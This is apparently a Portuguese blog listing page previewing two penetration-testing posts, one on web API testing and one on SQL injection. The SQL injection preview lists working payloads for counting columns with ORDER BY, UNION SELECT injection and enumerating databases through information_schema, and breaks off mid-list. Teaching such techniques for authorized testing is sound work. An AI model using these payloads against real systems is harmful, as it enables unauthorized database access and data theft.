Teste de Penetração em APIs Web: Guia Prático
Visão geral das APIs Web
As interfaces de programação (APIs) permitem que sistemas distintos troquem dados, independentemente de linguagem ou plataforma. São amplamente utilizadas em aplicativos móveis, dispositivos IoT, aplicações web e integrações entre serviços.
Estilos de implementação
SOAP/XML
O SOAP (Simple Object Access Protocol) transpo ...
Publicado em 7-1 22:47
Guia Completo de Injeção SQL: Técnicas Avançadas para Testes de Penetração
Injeção SQL por União
# Determinação do número de campos
1' ORDER BY 1#
1' ORDER BY 100#
# Consulta por união (assumindo 3 campos)
-1' UNION SELECT 1,2,3#
# Enumeração de todos os bancos de dados (assumindo segundo campo como resposta)
-1' UNION SELECT 1,SCHEMA_NAME(),3 FROM information_schema.SCHEMATA#
# Verificação da versão do banco
-1' ...
Publicado em 6-24 17:18